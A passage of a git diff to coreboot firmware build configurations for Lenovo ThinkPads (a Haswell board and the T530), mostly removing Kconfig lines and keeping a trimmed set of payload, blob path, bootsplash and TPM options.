CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_BOARD_LENOVO_HASWELL_COMMON=y -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_PS2K_EISAID="LEN0071" -CONFIG_PS2M_EISAID="LEN0036" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xe8000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_DISABLE_ME_PCI=y -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_HASWELL=y -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_VOLTAGE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_NORTHBRIDGE_INTEL_HASWELL=y -# CONFIG_USE_NATIVE_RAMINIT is not set -# CONFIG_USE_BROADWELL_MRC is not set -CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y -CONFIG_FINALIZE_USB_ROUTE_XHCI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_H8_HAS_PRIMARY_FN_KEYS=y -CONFIG_H8_HAS_LEDLOGO=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_DDI=y -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Haswell" -CONFIG_GFX_GMA_PCH="Lynx_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_EM100PRO_SPI_CONSOLE is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 09f5e2432..064777220 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -1,707 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="ThinkPad T530" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T530" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/t530" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="t530" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# 